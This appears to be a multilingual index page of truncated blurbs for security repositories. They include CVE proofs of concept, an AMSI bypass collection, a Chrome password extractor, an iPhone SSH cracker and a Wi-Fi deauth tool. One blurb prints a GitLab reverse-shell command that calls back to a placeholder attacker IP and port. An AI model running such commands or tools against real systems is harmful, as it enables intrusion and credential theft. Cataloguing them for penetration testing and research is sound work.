nmapAutomator

nmapAutomator バックグラウンドで実行できるスクリプト！ 概要 このスクリプトの主な目的は、毎回実行される列挙と偵察のプロセスを自動化し、代わりに実際のペネトレーションテストに集中できるようにすることです。 これにより、次の2つが保証されます： 1. nmapスキャンを自動化します。 2. 常にバックグラウンドで何らかの偵察を実行しておくこと。 最初のポートが '5〜10秒以内 ' に見つかったら、それらのポートを手動で調査し始め、残りはこちらからの操作を一切行わずにバックグラウンドで実行させることができます。 機能 スキャン 1. Network :...

CVE-2024-48589

phpAbook 9.0i - 跨站脚本（XSS）漏洞（CVE-2024-48589） 摘要： 在 phpAbook 应用的 index.php 的 rol 参数或路径部分发现了一个跨站脚本（XSS）漏洞。该漏洞允许攻击者向用户的浏览器注入任意 JavaScript 代码，可能导致： 泄露敏感信息，包括会话 Cookie 在应用上下文中执行未经授权的操作 该问题源于对用户提供的输入缺少适当的验证和清理。 影响： 攻击者可以在 rol 参数或路径部分构造包含恶意脚本的 URL，诱骗用户访问该链接，或直接在浏览器中执行该链接。 概念验证（PoC）： 访问 phpabook 应用的...

Awesome-WAF

Awesome WAF Webアプリケーションファイアウォール（WAF）に関するセキュリティ観点のすべて。🔥 前書き： これは元々私自身のWAFに関するコレクションでした。ペネトレーションテスターや研究者の方々に役立つことを願い、オープンソース化しています。「コミュニティはお互いから学び合う」という言葉通りです。 簡潔な定義：...

setup-ipsec-vpn

English | 简体中文 | 繁體中文 | 日本語 | Русский IPsec VPN サーバー自動セットアップスクリプト 数分で自分のIPsec VPNサーバーをセットアップし、IPsec/L2TP、Cisco IPsec、IKEv2をサポートします。 IPsec VPNはネットワークトラフィックを暗号化し、インターネット経由でデータが送信される際に、VPNサーバーとあなたの間の誰もがデータを盗聴できないようにします。これは、コーヒーショップ、空港、ホテルの部屋などの安全でないネットワークを使用する際に特に有用です。...

apk.sh

🕹️ apk.sh apk.sh は Android アプリのリバースエンジニアリングを容易にする Bash スクリプトで、APK のプル、デコード、リビルド、パッチ適用といった繰り返し作業を自動化します。 機能 apk.sh は基本的に apktool を使用してリソースの逆アセンブル、デコード、リビルドを行い、一部の bash で frida ガジェット注入プロセスを自動化します。 また、アプリバンドル/スプリット APK もサポートしています。 🍄 起動時に frida-gadget.so をロードするための APK パッチ適用。 🆕...

CISA-KEV

CISA-KEV 执行摘要 本仓库提供对 CISA 的 KEV 与 VulnCheck KEV 目录的自动化跟踪与分析，并与 Nuclei 安全模板和公开的概念验证（PoC）漏洞利用代码进行交叉引用。通过集成 VulnCheck KEV，覆盖范围从 1,557 扩展到 4,720 个唯一 CVE - 增加 3 倍 。合并后的数据集显示，所有 KEV 漏洞中有 36.1% 可通过 Nuclei 模板主动扫描（1,702 个 CVE）。VulnCheck 的扩展覆盖额外增加了 3,163 个漏洞 ，这些漏洞不在 CISA...

Amsi-Bypass-Powershell

スポンサー提供 Amsi-Bypass-Powershell このリポジトリには、さまざまなブログ記事で見つけたAntimalware Scan Interface AMSIのバイパス/回避方法がいくつか含まれています。...

CVE-2025-68613-POC

🚨 CVE-2025-68613: n8n 中的严重 RCE 漏洞 目录 1. 概述 2. 什么是 n8n？ 3. 漏洞基础 4. 技术细节 5. 受影响版本 6. 利用机制 7. 现实影响 8. 检测方法 9. 修复与缓解措施 10. 资源与参考 概述 CVE-2025-68613 是流行开源工作流自动化平台 n8n 中发现的一个严重远程代码执行（RCE） 漏洞。该漏洞允许经过身份验证的用户在服务器上执行任意代码，可能导致系统完全被攻陷。 快速事实 CVE ID ：CVE-2025-68613 CVSS 评分 ：9.9 - 10.0（严重） 漏洞类型 ：表达式注入 → 远程代码执行 C...

CVE-2026-85227

MISP contains a reflected Cross-Site Scripting XSS vulnerability in the event attribute filtering query builder. The taggedAttributes and galaxyAttachedAttributes URL parameters were inserted into the query-builder rules without HTML escaping before being serialized as JSON and embedded inside a...

CVE-2026-85230

A persistent unsafe URL injection vulnerability exists in the MISP dashboard ButtonWidget configuration. Dashboard widget URLs were validated only when the widget was rendered and were not validated when the configuration was saved. As a result, an authenticated user able to modify dashboard widg...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 Script de explotación 🔥 Introducción Este repositorio contiene un script de explotación para la vulnerabilidad React2Shell CVE-2025–55182, que ataca un tipo específico de Node.js Prototype Pollution que conduce a la ejecución remota de código RCE. El script está...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner 使用方法 root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort クレジット https://hackerone.com/reports/1154542 ここからコードスニペットを参照: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 免責事項: root@kitploit: The script...

CVE-2024-10448

受影响版本： 血液银行管理系统 BloodBank Management System ：1.0 漏洞信息： 漏洞类型： 跨站请求伪造 CSRF 严重性： 高 状态： 未修补 脆弱端点： 路径： /file/delete.php?bid= 漏洞描述： 在 BloodBank 管理系统的血液请求功能 中发现了一个跨站请求伪造 CSRF 漏洞。当向路径 /file/delete.php?bid= 发送 delete 请求时，该缺陷允许 bid 参数选择要删除的记录。然而，bids 是动态的，取决于添加的血液样本数量，因此为了使请求成功，我在循环中使用了 JavaScript 生成的图像标签。...

AirScout

目前该应用只有荷兰语版本。英语版本即将推出。 用户指南 – Wi-Fi 被动监控（ESSID + 频段过滤） 法律与道德声明（教育用途） 仅供教育和授权测试使用。 您对如何使用此工具承担全部责任。故意干扰您不拥有或未经书面授权测试的网络，在您所在司法管辖区可能是非法的。即使只向他人网络发送一个去认证帧也可能违法。请仅在获得明确授权后使用，风险自负。 1 目的（概览） 本应用发现目标 SSID ，列出匹配的 BSSID 并按频段（2.4/5/6 GHz） 分组，然后被动监控 每个 BSSID 以枚举客户端 ，如果存在则捕获 WPA 握手 并保存为 .22000 文件。去认证按钮当前处于工作...

larac2shell

LaraC2 Shell -- MDE Live Response 対話型シェル Microsoft Defender for Endpoint Live Response 向けクロスプラットフォーム対話型シェル 機能| 詳細 ---|--- プラットフォーム| PowerShell Core 7.0+ Windows, Linux, macOS API モード| Internal ポータル, ニアリアルタイム および Official 公開, ステートレス 実行| 任意のコマンド + 25 のネイティブ LR コマンド 認証| 7 つの認証方式, 統一メニュー, 自動更新 ライセンス|...

cve-2021-41773-nse

cve-2021-41773-nse 作者 George Labrin @creadpag N|Solid 检查服务器是否存在 Apache 2.4.49 CVE-2021-41773 漏洞。 POC 打开你喜欢的终端并运行以下命令。 第一个标签页： root@kitploit: mv cve-2021-41773.nse /usr/share/nmap/scripts/ 第二个标签页： root@kitploit: sudo nmap -Pn --script=cve-2021-41773.nse X.X.X.X -p X...

Chrome-Extractor

Chrome-Extractor Script de Python que extraerá todas las contraseñas guardadas de tu base de datos de Google Chrome y las guardará en chrome.txt Nota: Solo Windows...

raven

Raven - 高度なサイバー脅威マップ（シンプル、カスタマイズ可能、レスポンシブ。D3.jsとTOPO JSONを使用し、247の国、約10万都市をカバー。外部ルックアップなしで隔離環境で使用可能！） 構造 オフライン - デモ Firefox, Chrome, Safari ライブ - 500回の攻撃を一度にリグレッション Firefox, Chrome, Safari ライブ - デモ Firefox, Chrome, Safari https://qeeqbox.github.io/raven/ 特徴 D3.jsを使用（Anime.jsではありません）...

SSH-KILLv2

SSH-KILLv2について Script SSHサービスが開いているiPhoneを攻撃します。多くのユーザーは脱獄したデバイスで「Open SSH」を使用して、ラップトップ/PCとiPhone間でファイルを転送し、生活を楽にしています。しかし問題は、「Open SSH」のTweakがデフォルトパスワード「alpine」を使用していることです。多くのユーザーはそれを変更しません。変更した場合でも、SSH-KILLv2はSSHパスワードをクラックし、ファイルをダンプし、被害者のiOSにアクセスするのに役立ちます。 使用方法？ sudo python3 SSHKILLv2.py -p wer...

reverse-ip-new-api

reverse-ip-new-api Esta herramienta se utiliza para realizar búsquedas inversas de IP— buscar todos los dominios alojados en una dirección IP. Características Procesamiento de múltiples hilos Procesamiento basado en API Manejo de errores Personalizar el número de hilos Cómprame un café : Bitcoin ...